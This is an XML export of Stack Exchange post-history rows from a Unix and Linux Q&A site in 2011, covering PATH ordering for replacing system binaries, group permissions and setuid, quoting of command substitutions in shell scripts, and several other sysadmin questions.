  <row Id="28076" PostHistoryTypeId="2" PostId="11570" RevisionGUID="437e9f55-fe47-490e-a3ec-f2db853ac162" CreationDate="2011-04-18T18:10:47.357" UserId="6713" Text="Hello,&#xD;&#xA;&#xD;&#xA;I'm working on Mac OS X which is shipped with several binaries mostly located in **/usr/bin/** and **/usr/sbin/**. Since it doesn't have a native package manager as some Linux distros, I got used to manage my own binaries, building and installing in **/usr/local/`&lt;package_name&gt;`/**.&#xD;&#xA;&#xD;&#xA;This way, I am able to fully remove a package from my system at the cost of manually update the **PATH** and the **MANPATH** variables in the _.bashrc_ file.&#xD;&#xA;&#xD;&#xA;Here is a simple example:&#xD;&#xA;&#xD;&#xA;Mac OS X ships with `ant` 1.7.0, located in **/usr/bin**. I need to use the latest version, so I download it from Apache and then unzip (build) it to **/usr/local/apache-ant-1.8.2**. Then I update my _.bashrc_ file with:&#xD;&#xA;&#xD;&#xA;    # Mac OS X original PATH&#xD;&#xA;    PATH=&quot;/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin&quot;&#xD;&#xA;    # Apache Ant 1.8.2&#xD;&#xA;    PATH=&quot;$PATH:/usr/local/apache-ant-1.8.2/bin&quot;&#xD;&#xA;    export PATH&#xD;&#xA;&#xD;&#xA;I make sure to export the **/usr/bin/** and **/usr/sbin/** before the **ant/bin/** because there are often other binaries besides the `ant` that I don't want to override.&#xD;&#xA;&#xD;&#xA;The problem is that when I type `which ant` I get **/usr/bin/**. So I rename the _/usr/bin/ant_ to _/usr/bin/ant-old_ in order to work with the latest build.&#xD;&#xA;&#xD;&#xA;While this works, I want to know if there are better approaches to replacing a system binary (mainly to avoid the last rename).&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="28077" PostHistoryTypeId="1" PostId="11570" RevisionGUID="437e9f55-fe47-490e-a3ec-f2db853ac162" CreationDate="2011-04-18T18:10:47.357" UserId="6713" Text="Which is the best practice when replacing a system binary?" />
  <row Id="28078" PostHistoryTypeId="3" PostId="11570" RevisionGUID="437e9f55-fe47-490e-a3ec-f2db853ac162" CreationDate="2011-04-18T18:10:47.357" UserId="6713" Text="épackageömanagementàéfreebsdàépathàébinaryà" />
  <row Id="28079" PostHistoryTypeId="2" PostId="11571" RevisionGUID="714d52a8-b3fe-415c-a4b7-057845f70f06" CreationDate="2011-04-18T18:32:59.850" UserId="2421" Text="The usual method of overriding system binaries is to install the new binaries in `/usr/local/bin` (or `sbin`) and then making sure that `/usr/local/bin` comes before `/usr/bin` in your path.&#xD;&#xA;&#xD;&#xA;Normally, you do that by configuring packages with `--prefix=/usr/local`, which causes them to install their binaries under `/usr/local/bin`, instead of making a directory in `/usr/local` for each package.&#xD;&#xA;&#xD;&#xA;Are you saying there are binaries in `/usr/local/apache-ant-1.8.2/bin` that you don't want to use?  In that case, I'd recommend installing it under `/usr/local/apache-ant-1.8.2` (as you're doing now), but then making a symlink in `/usr/local/bin` to `../apache-ant-1.8.2/bin/ant` (instead of putting `/usr/local/apache-ant-1.8.2/bin` in your path)." />
  <row Id="28080" PostHistoryTypeId="2" PostId="11572" RevisionGUID="4bd96e1c-000d-4f4c-bd55-e4c393d62cba" CreationDate="2011-04-18T18:35:36.650" UserId="885" Text="Replacing a system binary should be a last resort.&#xD;&#xA;&#xD;&#xA;My advice is to:&#xD;&#xA;&#xD;&#xA;* Put `/usr/local/bin` ahead of `/usr/bin` and other system directories on the `PATH`.&#xD;&#xA;* Make `/usr/local/bin/ant` a symbolic link to `/usr/local/apache-ant-1.8.2/bin/ant`.&#xD;&#xA;* Don't include `/usr/local/apache-ant-1.8.2/bin` in the `PATH` at all.&#xD;&#xA;&#xD;&#xA;This way:&#xD;&#xA;&#xD;&#xA;* Your customizations (in `/usr/local/bin`) override the system defaults.&#xD;&#xA;* The symbolic link `/usr/local/bin/ant` reminds you where you got that version of `ant`.&#xD;&#xA;* If you want to test something with the default setup, just remove `/usr/local/bin` from your `PATH` for the duration of the test.&#xD;&#xA;" />
  <row Id="28081" PostHistoryTypeId="5" PostId="11570" RevisionGUID="26985423-0342-4459-82d2-6d7e789015ce" CreationDate="2011-04-18T18:38:15.043" UserId="1925" Comment="Fixed some small English bloopers, removed salutation/thanks per suggestion in FAQ and meta sites." Text="I'm working on Mac OS X which is shipped with several binaries mostly located in **/usr/bin/** and **/usr/sbin/**. Since it doesn't have a native package manager like some Linux distros, I got used to managing my own binaries, building and installing in **/usr/local/`&lt;package_name&gt;`/**.&#xD;&#xA;&#xD;&#xA;This way, I am able to fully remove a package from my system at the cost of manually update the **PATH** and the **MANPATH** variables in the _.bashrc_ file.&#xD;&#xA;&#xD;&#xA;Here is a simple example:&#xD;&#xA;&#xD;&#xA;Mac OS X ships with `ant` 1.7.0, located in **/usr/bin**. I need to use the latest version, so I download it from Apache and then unzip (build) it to **/usr/local/apache-ant-1.8.2**. Then I update my _.bashrc_ file with:&#xD;&#xA;&#xD;&#xA;    # Mac OS X original PATH&#xD;&#xA;    PATH=&quot;/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin&quot;&#xD;&#xA;    # Apache Ant 1.8.2&#xD;&#xA;    PATH=&quot;$PATH:/usr/local/apache-ant-1.8.2/bin&quot;&#xD;&#xA;    export PATH&#xD;&#xA;&#xD;&#xA;I make sure to export the **/usr/bin/** and **/usr/sbin/** before the **ant/bin/** because there are often other binaries besides the `ant` that I don't want to override.&#xD;&#xA;&#xD;&#xA;The problem is that when I type `which ant` I get **/usr/bin/**. So I rename the _/usr/bin/ant_ to _/usr/bin/ant-old_ in order to work with the latest build.&#xD;&#xA;&#xD;&#xA;While this works, I want to know if there are better approaches to replacing a system binary (mainly to avoid the last rename)." />
  <row Id="28082" PostHistoryTypeId="24" PostId="11570" RevisionGUID="26985423-0342-4459-82d2-6d7e789015ce" CreationDate="2011-04-18T18:38:15.043" Comment="Proposed by 1925 approved by -1 edit id of 282" />
  <row Id="28083" PostHistoryTypeId="5" PostId="11570" RevisionGUID="bc03fb43-1deb-480e-a2a5-abff265dffd3" CreationDate="2011-04-18T18:38:15.603" UserId="885" Comment="deleted 24 characters in body; edited tags" Text="I'm working on Mac OS X which is shipped with several binaries mostly located in `/usr/bin/` and `/usr/sbin/`. Since it doesn't have a native package manager like some Linux distros, I got used to managing my own binaries, building and installing in `/usr/local/&lt;package_name&gt;/`.&#xD;&#xA;&#xD;&#xA;This way, I am able to fully remove a package from my system at the cost of manually update the `PATH` and the `MANPATH` variables in the `.bashrc` file.&#xD;&#xA;&#xD;&#xA;Here is a simple example:&#xD;&#xA;&#xD;&#xA;Mac OS X ships with ant 1.7.0, located in `/usr/bin`. I need to use the latest version, so I download it from Apache and then unzip (build) it to `/usr/local/apache-ant-1.8.2`. Then I update my `.bashrc` file with:&#xD;&#xA;&#xD;&#xA;    # Mac OS X original PATH&#xD;&#xA;    PATH=&quot;/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin&quot;&#xD;&#xA;    # Apache Ant 1.8.2&#xD;&#xA;    PATH=&quot;$PATH:/usr/local/apache-ant-1.8.2/bin&quot;&#xD;&#xA;    export PATH&#xD;&#xA;&#xD;&#xA;I make sure to export the `/usr/bin/` and `/usr/sbin/` before the `ant/bin/` because there are often other binaries besides the `ant` that I don't want to override.&#xD;&#xA;&#xD;&#xA;The problem is that when I type `which ant` I get `/usr/bin/`. So I rename the `/usr/bin/ant` to `/usr/bin/ant-old` in order to work with the latest build.&#xD;&#xA;&#xD;&#xA;While this works, I want to know if there are better approaches to replacing a system binary (mainly to avoid the last rename).&#xD;&#xA;" />
  <row Id="28084" PostHistoryTypeId="6" PostId="11570" RevisionGUID="bc03fb43-1deb-480e-a2a5-abff265dffd3" CreationDate="2011-04-18T18:38:15.603" UserId="885" Comment="deleted 24 characters in body; edited tags" Text="épackageömanagementàéosxàépathàédirectoryöstructureà" />
  <row Id="28085" PostHistoryTypeId="6" PostId="11544" RevisionGUID="3c50858f-9f9a-4311-b9a2-09af6fdfa8b7" CreationDate="2011-04-18T18:38:49.160" UserId="885" Comment="edited tags" Text="édirectoryöstructureàéfhsà" />
  <row Id="28086" PostHistoryTypeId="6" PostId="11553" RevisionGUID="ff9815d8-84f3-4756-accd-e05742349ccb" CreationDate="2011-04-18T18:41:04.073" UserId="885" Comment="edited tags" Text="élinuxàéubuntuàéjavaàéweblogicà" />
  <row Id="28087" PostHistoryTypeId="6" PostId="11551" RevisionGUID="8756e473-437c-4660-851f-4070ff4b860c" CreationDate="2011-04-18T18:50:52.557" UserId="885" Comment="edited tags" Text="élvmàémirroràéhpöuxà" />
  <row Id="28088" PostHistoryTypeId="6" PostId="11555" RevisionGUID="d4cc6402-a533-4b17-b5e7-e227d4cd43d3" CreationDate="2011-04-18T18:55:39.433" UserId="885" Comment="edited tags" Text="élinuxàéshellàéethernetàémacöaddressà" />
  <row Id="28089" PostHistoryTypeId="6" PostId="11549" RevisionGUID="a11a84e3-4947-4c87-a328-a4a0543f41c8" CreationDate="2011-04-18T18:55:55.987" UserId="885" Comment="edited tags" Text="édebianàéldapàéaclà" />
  <row Id="28090" PostHistoryTypeId="5" PostId="11554" RevisionGUID="3294b81f-a1bc-4dab-a7c9-39832f70a5ce" CreationDate="2011-04-18T19:10:03.890" UserId="73" Comment="deleted 5 characters in body" Text="The D-Link DIR 600 actually doesn't work entirely (so to speak) with OpenWRT. The B1 version doesn't work at all, it works with DD-WRT and DD-WRT only. The only version it works with is A1" />
  <row Id="28091" PostHistoryTypeId="5" PostId="11533" RevisionGUID="adc7f041-04bd-4d55-9f7e-0b78386c76c8" CreationDate="2011-04-18T19:17:06.190" UserId="73" Comment="deleted 102 characters in body; edited title" Text="I need a very simple daemon script that receives all emails to a domain name and just forwards them to a script. I know there's software like exim, qmail or others to do this, but I do not want to install big software that eats performance in the host.&#xD;&#xA;&#xD;&#xA;I have the MX record of the domain pointing to the host; now I need some daemon listening on port 25 and answering correctly to the mail standard communications (HELO and that stuff), and then handing the mail to a script.&#xD;&#xA;&#xD;&#xA;How can I do that?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Edit**: the domain.com will JUST be incoming, I don't need that domain to have POP accounts, or send emails; the domain will just receive emails addressed to `*@domain.com`, and I would like all of them to be redirected to a script.&#xD;&#xA;&#xD;&#xA;I would like it in C or Perl if possible&#xD;&#xA;" />
  <row Id="28092" PostHistoryTypeId="4" PostId="11533" RevisionGUID="adc7f041-04bd-4d55-9f7e-0b78386c76c8" CreationDate="2011-04-18T19:17:06.190" UserId="73" Comment="deleted 102 characters in body; edited title" Text="Super lightweight script to receive incoming email and forward to script" />
  <row Id="28093" PostHistoryTypeId="2" PostId="11573" RevisionGUID="84f32ea8-b44d-43c1-b802-c45e4160c46d" CreationDate="2011-04-18T19:34:39.507" UserId="885" Text="`user2` needs to log out and back in. Group permissions work this way:&#xD;&#xA;&#xD;&#xA;* When you log in, your processes get to have group membership in in your main group mentioned in `/etc/passwd`, plus all the groups where your user is mentioned in `/etc/group`. (More precisely, the [`pw_gid`](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/pwd.h.html) field in [`getpw(your_uid)`](http://pubs.opengroup.org/onlinepubs/009695399/functions/getpwuid.html), plus [all the groups](http://pubs.opengroup.org/onlinepubs/009695399/functions/getgrent.html) of which [your user is an explicit member](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/grp.h.html). Beyond `/etc/passwd` and `/etc/group`, the information may come from other kinds of user databases such as NIS or LDAP.) The main group becomes the process's [effective group ID](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap03.html#tag_03_140) and the other groups become its [supplementary group IDs](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap03.html#tag_03_370).&#xD;&#xA;* When a process performs an operation that requires membership in a certain group, such as [accessing a file](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap03.html#tag_03_370), that group must be either the effective group ID or one of the supplementary group IDs of the process.&#xD;&#xA;&#xD;&#xA;As you can see, your change to the user's group membership only takes effect when the user logs in. For running processes, it's too late. So the user needs to log out and back in. If that's too much trouble, the user can log in to a separate session (e.g. on a different console, or with `ssh localhost`).&#xD;&#xA;&#xD;&#xA;Under the hood, a process can only ever *lose* privileges (user IDs, group IDs, capabilities). The kernel starts the `init` process (the first process after boot) running as root, and every process is ultimately descended from that process¹. The `login` process (or `sshd`, or the part of your desktop manager that logs you in) is still running as root. Part of its job is to drop the root privileges and switch to the proper user and groups.&#xD;&#xA;&#xD;&#xA;There's one single exception: executing a [setuid or setgid](http://en.wikipedia.org/wiki/Setuid) program. That program receives additional permissions: it can choose to act under various subsets of the parent process's memberships plus the additional membership in the user or group that owns the setxid executable. In particular, a setuid root program has root permissions, hence can do everything²; this is how programs like `su` and `sudo` can do their job.&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;There are occasionally processes that aren't derived from init (initrd, udev) but the principle is the same: start as root and lose privileges over time.&#xD;&#xA;&lt;/sub&gt; &lt;br&gt;&#xD;&#xA;² &lt;sub&gt;&#xD;&#xA;Barring multilevel security frameworks such as SELinux.&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="28094" PostHistoryTypeId="2" PostId="11574" RevisionGUID="1ce6596c-84cb-4041-92d0-883bf72b6e97" CreationDate="2011-04-18T19:37:24.997" UserId="885" Text="[You can't grant a new group to a running process.](http://unix.stackexchange.com/questions/6387/how-to-add-write-permissions-for-a-group/11573#11573) You need to log in again to get a process with the changed group memberships.&#xD;&#xA;&#xD;&#xA;What you can do is to launch nautilus from a different session but have it display on your existing display, something like&#xD;&#xA;&#xD;&#xA;    ssh localhost &quot;DISPLAY=$DISPLAY XAUTHORITY=$XAUTHORITY nautilus &amp;&quot;&#xD;&#xA;" />
  <row Id="28095" PostHistoryTypeId="6" PostId="11533" RevisionGUID="bd25ad26-56c5-41ca-b57d-4b7533a048f5" CreationDate="2011-04-18T19:37:51.520" UserId="885" Comment="edited tags" Text="élightweightàémailötransportöagentà" />
  <row Id="28096" PostHistoryTypeId="2" PostId="11575" RevisionGUID="8eae7e88-cdb0-491e-858f-4f6e327adde0" CreationDate="2011-04-18T20:07:00.630" UserId="5944" Text="I am interested in determining the status of a RAID array on my system (using Debian, and Intel ICH10R sata RAID controller = fakeRAID). What I have learned so far is that:&#xD;&#xA;&#xD;&#xA; 1. I can use CSMI I/O control codes in order to get the status (and a bunch of other info) about the RAID. &#xD;&#xA; 2. I need to open a device node for the host bus adapter in order to get a file descriptor so that I can use ioctl() and send the CSMI control codes.&#xD;&#xA;&#xD;&#xA;The constraint for my problem is that the solution must be done using C or C++, and not through a shell script. I have managed to solve this in Windows, so I know that at least it is possible.&#xD;&#xA;&#xD;&#xA;Right now, I'm stuck because I am not sure of the name of the device node for the hba, and I'm uncertain as to how I can find out. Also, I'm wondering if there's a better way... I have thought about libdevmapper, but I'm still unsure how I could use it.&#xD;&#xA;&#xD;&#xA;Does anyone know what concepts I still need to look into, and the direction that I need to look?&#xD;&#xA;&#xD;&#xA;Thanks for your help!" />
  <row Id="28097" PostHistoryTypeId="1" PostId="11575" RevisionGUID="8eae7e88-cdb0-491e-858f-4f6e327adde0" CreationDate="2011-04-18T20:07:00.630" UserId="5944" Text="Using device node of host bus adapter to send ioctl calls to monitor RAID status" />
  <row Id="28098" PostHistoryTypeId="3" PostId="11575" RevisionGUID="8eae7e88-cdb0-491e-858f-4f6e327adde0" CreationDate="2011-04-18T20:07:00.630" UserId="5944" Text="émonitoringàéraidà" />
  <row Id="28099" PostHistoryTypeId="2" PostId="11576" RevisionGUID="a59d2cb9-c0c4-4285-bcd5-a22a4a8e934f" CreationDate="2011-04-18T20:35:33.300" UserId="2657" Text="I'm looking at this script  [mysql backup script][1] and I don't understand what is the reason for using both backticks and double quotes around command names?&#xD;&#xA;&#xD;&#xA;    379 WHICH=&quot;`which which`&quot;&#xD;&#xA;    380 AWK=&quot;`${WHICH} gawk`&quot;&#xD;&#xA;    381 LOGGER=&quot;`${WHICH} logger`&quot;&#xD;&#xA;    382 ECHO=&quot;`${WHICH} echo`&quot;&#xD;&#xA;    383 CAT=&quot;`${WHICH} cat`&quot;&#xD;&#xA;    384 BASENAME=&quot;`${WHICH} basename`&quot;&#xD;&#xA;    385 DATEC=&quot;`${WHICH} date`&quot;&#xD;&#xA;    386 DU=&quot;`${WHICH} du`&quot;&#xD;&#xA;    387 EXPR=&quot;`${WHICH} expr`&quot;&#xD;&#xA;    388 FIND=&quot;`${WHICH} find`&quot;&#xD;&#xA;    389 RM=&quot;`${WHICH} rm`&quot;&#xD;&#xA;    390 MYSQL=&quot;`${WHICH} mysql`&quot;&#xD;&#xA;    391 MYSQLDUMP=&quot;`${WHICH} mysqldump`&quot;&#xD;&#xA;    392 GZIP=&quot;`${WHICH} gzip`&quot;&#xD;&#xA;    393 BZIP2=&quot;`${WHICH} bzip2`&quot;&#xD;&#xA;    394 CP=&quot;`${WHICH} cp`&quot;&#xD;&#xA;    395 HOSTNAMEC=&quot;`${WHICH} hostname`&quot;&#xD;&#xA;    396 SED=&quot;`${WHICH} sed`&quot;&#xD;&#xA;    397 GREP=&quot;`${WHICH} grep`&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/projects/automysqlbackup/files/AutoMySQLBackup/AutoMySQLBackup%20VER%202.5/" />
  <row Id="28100" PostHistoryTypeId="1" PostId="11576" RevisionGUID="a59d2cb9-c0c4-4285-bcd5-a22a4a8e934f" CreationDate="2011-04-18T20:35:33.300" UserId="2657" Text="Shell scripting question." />
  <row Id="28101" PostHistoryTypeId="3" PostId="11576" RevisionGUID="a59d2cb9-c0c4-4285-bcd5-a22a4a8e934f" CreationDate="2011-04-18T20:35:33.300" UserId="2657" Text="éshellàébashàéshellöscriptà" />
  <row Id="28102" PostHistoryTypeId="2" PostId="11577" RevisionGUID="b4994256-4372-464c-9573-c4a305c224fb" CreationDate="2011-04-18T20:37:21.627" UserId="3082" Text="In case the backticks return a string with spaces in it. The quotes ensure that the complete, single value is assigned to the variable. " />
  <row Id="28103" PostHistoryTypeId="2" PostId="11578" RevisionGUID="e572b4eb-a890-4740-872a-1f6b7e202b6c" CreationDate="2011-04-18T20:40:42.373" UserId="6607" Text="The backtick operator means &quot;replace the area between the backticks with the output of the command found inside backticks. The double quotes are so, if that output contains spaces, the variable in question will be set to the full result and not just everything up to the first whitespace.&#xD;&#xA;&#xD;&#xA;E.g., if for some reason your grep command is '/usr/local/bin/real grep', after the execution of,&#xD;&#xA;&#xD;&#xA;    GREP=`which grep`&#xD;&#xA;&#xD;&#xA;GREP would contain &quot;/usr/local/bin/real&quot;&#xD;&#xA;&#xD;&#xA;Whereas with,&#xD;&#xA;&#xD;&#xA;    GREP=&quot;`which grep`&quot;&#xD;&#xA;&#xD;&#xA;GREP would contain &quot;/usr/local/bin/real grep&quot;.&#xD;&#xA;&#xD;&#xA;It's quite unlikely any of the paths of these commands would contain whitespace, but it's general good practices in shell scripting to always use double quotes when assigning to a variable." />
  <row Id="28104" PostHistoryTypeId="2" PostId="11579" RevisionGUID="351cd5f5-17c6-46a8-a5a4-f95b19abb99c" CreationDate="2011-04-18T20:50:38.590" UserId="5664" Text="http://img130.imageshack.us/img130/4403/screenshotrj.png&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;How can i disable that no bubbles pop up after ~1 sec? I don't want hint bubbles! :)" />
  <row Id="28105" PostHistoryTypeId="1" PostId="11579" RevisionGUID="351cd5f5-17c6-46a8-a5a4-f95b19abb99c" CreationDate="2011-04-18T20:50:38.590" UserId="5664" Text="How to turn off GNOME hints using gconftool?" />
  <row Id="28106" PostHistoryTypeId="3" PostId="11579" RevisionGUID="351cd5f5-17c6-46a8-a5a4-f95b19abb99c" CreationDate="2011-04-18T20:50:38.590" UserId="5664" Text="élinuxàéfedoraàégnomeà" />
  <row Id="28107" PostHistoryTypeId="5" PostId="11576" RevisionGUID="bd55fc7b-e6bb-4cfb-a58f-2e10e907814f" CreationDate="2011-04-18T21:00:54.173" UserId="2657" Comment="added 74 characters in body; added 18 characters in body; added 10 characters in body" Text="I'm looking at this script  [mysql backup script][1] and I don't understand what is the reason for using both backticks and double quotes around command names?&#xD;&#xA;&#xD;&#xA;    379 WHICH=&quot;`which which`&quot;&#xD;&#xA;    380 AWK=&quot;`${WHICH} gawk`&quot;&#xD;&#xA;    381 LOGGER=&quot;`${WHICH} logger`&quot;&#xD;&#xA;    382 ECHO=&quot;`${WHICH} echo`&quot;&#xD;&#xA;    383 CAT=&quot;`${WHICH} cat`&quot;&#xD;&#xA;    384 BASENAME=&quot;`${WHICH} basename`&quot;&#xD;&#xA;    385 DATEC=&quot;`${WHICH} date`&quot;&#xD;&#xA;    386 DU=&quot;`${WHICH} du`&quot;&#xD;&#xA;    387 EXPR=&quot;`${WHICH} expr`&quot;&#xD;&#xA;    388 FIND=&quot;`${WHICH} find`&quot;&#xD;&#xA;    389 RM=&quot;`${WHICH} rm`&quot;&#xD;&#xA;    390 MYSQL=&quot;`${WHICH} mysql`&quot;&#xD;&#xA;    391 MYSQLDUMP=&quot;`${WHICH} mysqldump`&quot;&#xD;&#xA;    392 GZIP=&quot;`${WHICH} gzip`&quot;&#xD;&#xA;    393 BZIP2=&quot;`${WHICH} bzip2`&quot;&#xD;&#xA;    394 CP=&quot;`${WHICH} cp`&quot;&#xD;&#xA;    395 HOSTNAMEC=&quot;`${WHICH} hostname`&quot;&#xD;&#xA;    396 SED=&quot;`${WHICH} sed`&quot;&#xD;&#xA;    397 GREP=&quot;`${WHICH} grep`&quot;&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;Is&#xD;&#xA;&#xD;&#xA;    &quot;`${WHICH} gawk`&quot;&#xD;&#xA;&#xD;&#xA;pretty much the same as &#xD;&#xA;&#xD;&#xA;    &quot;${${WHICH} gawk}&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/projects/automysqlbackup/files/AutoMySQLBackup/AutoMySQLBackup%20VER%202.5/" />
  <row Id="28108" PostHistoryTypeId="6" PostId="11579" RevisionGUID="46515089-7429-4ea1-861d-305a30560d63" CreationDate="2011-04-18T21:07:26.593" UserId="885" Comment="edited tags" Text="éfedoraàégnomeàétooltipà" />
  <row Id="28109" PostHistoryTypeId="25" PostId="11576" RevisionGUID="5a505648-56d3-49b4-a6bd-fd9d1662c53a" CreationDate="2011-04-18T21:09:09.560" Comment="http://twitter.com/#!/StackUnix/status/60087494078763009" />
  <row Id="28110" PostHistoryTypeId="2" PostId="11580" RevisionGUID="67dfcd72-540c-47ee-b41a-6a1c412d6a94" CreationDate="2011-04-18T21:19:38.490" UserId="885" Text="``WHICH=&quot;`which which`&quot;`` is exactly equivalent to ``WHICH=`which which` `` or to ``WHICH=$(which which)&quot;``. All of these run the command `which which`, and capture its output (as a string) into the variable `WHICH`, stripping off any final newline from the output. Similarly, ``AWK=&quot;`${WHICH} gawk`&quot;`` could be written ``AWK=`$WHICH gawk` ``.&#xD;&#xA;&#xD;&#xA;Normally, command substitutions (`` `command` `` or `$(command)`) should be surrounded by double quotes, in case the result contains whitespace or shell wildcards (`*?[\`). This is because the result of command substitutions, like variable substitutions (`$foo` or `${foo}`), undergoes word splitting and filename generation (a.k.a. globbing). However, this does not apply to simple variable assignments: since the context requires a single word, the result of the substitution is taken as-is. So assignments are an exception to the general rule that you should double-quote variable and command substitutions. (Note that this exception does not extend to `export var=&quot;$value&quot;`, which does require the double quotes.) But it's a reasonable shell programming practice to always the double quotes — omit them only if you know you must, rather than using them only if you know you must.&#xD;&#xA;&#xD;&#xA;In the (unlikely) case `which which` returns a path with spaces or wildcards, `${WHICH}` should be double-quoted in the lines below, i.e. one of&#xD;&#xA;&#xD;&#xA;    AWK=&quot;`&quot;${WHICH}&quot; gawk`&quot;&#xD;&#xA;    AWK=`&quot;${WHICH}&quot; gawk`&#xD;&#xA;    AWK=&quot;$(&quot;${WHICH}&quot; gawk)&quot;&#xD;&#xA;    AWK=$(&quot;${WHICH}&quot; gawk)&#xD;&#xA;&#xD;&#xA;(Using `$(…)` is recommended over `` `…` ``, because of the difficulty of getting the nested quoting right inside `` `…` ``. However very old shells don't recognize `$(…)`, so `` `…` `` is needed for scripts that must run on older systems.)&#xD;&#xA;&#xD;&#xA;See also [$VAR vs ${VAR} and to quote or not to quote](http://unix.stackexchange.com/questions/4899/var-vs-var-and-to-quote-or-not-to-quote)&#xD;&#xA;" />
  <row Id="28111" PostHistoryTypeId="4" PostId="11576" RevisionGUID="666c23ed-2894-48c0-9c78-59e5d205e41f" CreationDate="2011-04-18T21:21:47.163" UserId="885" Comment="edited tags; edited title" Text="Why the double quotes and backquotes in a shell script?" />
  <row Id="28112" PostHistoryTypeId="6" PostId="11576" RevisionGUID="666c23ed-2894-48c0-9c78-59e5d205e41f" CreationDate="2011-04-18T21:21:47.163" UserId="885" Comment="edited tags; edited title" Text="éshellàéshellöscriptàéquotingà" />
  <row Id="28113" PostHistoryTypeId="5" PostId="11564" RevisionGUID="3510c9b4-6545-4266-9b86-8692a0e5f8a0" CreationDate="2011-04-18T21:33:34.553" UserId="6708" Comment="added 518 characters in body" Text="All adding the U.S. English International (with dead keys) keyboard layout breaks my Alt_R key.  Any ideas why?&#xD;&#xA;&#xD;&#xA;I'm working on RHEL 5.5 using GNOME.  The problem disappears if I remove the additional layout and reappears if I add it back.&#xD;&#xA;&#xD;&#xA;Specific problems include Alt-F2 not working to start the run application app if using Alt_R and CTRL-Alt-L not working for screen looking again if using Alt_R.&#xD;&#xA;&#xD;&#xA;I tried using xev to troubleshoot.  Here's what I get with just the U.S. English layout:&#xD;&#xA;&#xD;&#xA;    KeyPress event, serial 29, synthetic NO, window 0x1e00001,&#xD;&#xA;        root 0x3a2, subw 0x0, time 1766794207, (169,-13), root:(2099,35),&#xD;&#xA;        state 0x0, keycode 113 (keysym 0xffea, Alt_R), same_screen YES,&#xD;&#xA;        XLookupString gives 0 bytes: &#xD;&#xA;        XmbLookupString gives 0 bytes: &#xD;&#xA;        XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;    KeyRelease event, serial 29, synthetic NO, window 0x1e00001,&#xD;&#xA;        root 0x3a2, subw 0x0, time 1766794447, (169,-13), root:(2099,35),&#xD;&#xA;        state 0x8, keycode 113 (keysym 0xffea, Alt_R), same_screen YES,&#xD;&#xA;        XLookupString gives 0 bytes: &#xD;&#xA;        XFilterEvent returns: False  &#xD;&#xA;&#xD;&#xA;Here's what I get with the U.S. English International (with dead keys) layout:&#xD;&#xA;&#xD;&#xA;    KeyPress event, serial 26, synthetic NO, window 0x1e00001,&#xD;&#xA;        root 0x3a2, subw 0x0, time 1766853750, (169,-13), root:(2099,35),&#xD;&#xA;        state 0x0, keycode 113 (keysym 0xffea, Alt_R), same_screen YES,&#xD;&#xA;        XLookupString gives 0 bytes: &#xD;&#xA;        XmbLookupString gives 0 bytes: &#xD;&#xA;        XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;    KeyRelease event, serial 29, synthetic NO, window 0x1e00001,&#xD;&#xA;        root 0x3a2, subw 0x0, time 1766853872, (169,-13), root:(2099,35),&#xD;&#xA;        state 0x80, keycode 113 (keysym 0xffea, Alt_R), same_screen YES,&#xD;&#xA;        XLookupString gives 0 bytes: &#xD;&#xA;        XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;It makes no difference whether that layout is actually being used at the moment.  Just having it in the selected list breaks things.  If this is a bug, does anyone know where it should be filed (GNOME, Xorg, Redhat)?&#xD;&#xA;&#xD;&#xA;**EDIT**: I realized now that I can see my modifier mapping using xmodmap.  Initially, mod5 was mapped to mod5 Mode_switch (0x5d) and ISO_Level3_Shift (0x7c).  Adding the international layout, maps Alt_R (0x71) to mod5 as well, which why I'm having this problem.  Based on Caleb's recommendation, I switched Alt_R to be an ISO_Level3_Shift such that mod5 is now mapped to &quot;mod5        Mode_switch (0x5d),  ISO_Level3_Shift (0x71),  ISO_Level3_Shift (0x7c)&quot;.  This still breaks Alt_R as an Alt_L alternative though." />
  <row Id="28114" PostHistoryTypeId="5" PostId="11579" RevisionGUID="7e5e239a-645c-4163-9306-fe4b79f5df16" CreationDate="2011-04-18T21:35:38.203" UserId="2421" Comment="make image inline" Text="How can I disable the bubbles that pop up after ~1 sec? I don't want hint bubbles! :)&#xD;&#xA;&#xD;&#xA;![Gnome pop-up help bubble][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://img130.imageshack.us/img130/4403/screenshotrj.png" />
  <row Id="28115" PostHistoryTypeId="2" PostId="11581" RevisionGUID="ff1a25a5-ce9a-43b4-b1d1-4753d227f928" CreationDate="2011-04-18T22:16:57.963" UserId="4610" Text="Hi all,&#xD;&#xA;&#xD;&#xA;Except for renaming names, how do I *rsync* files which may have **colon** in names?&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;Kejia&#xD;&#xA;" />
  <row Id="28116" PostHistoryTypeId="1" PostId="11581" RevisionGUID="ff1a25a5-ce9a-43b4-b1d1-4753d227f928" CreationDate="2011-04-18T22:16:57.963" UserId="4610" Text="rsync: colon in file names." />
  <row Id="28117" PostHistoryTypeId="3" PostId="11581" RevisionGUID="ff1a25a5-ce9a-43b4-b1d1-4753d227f928" CreationDate="2011-04-18T22:16:57.963" UserId="4610" Text="érsyncà" />
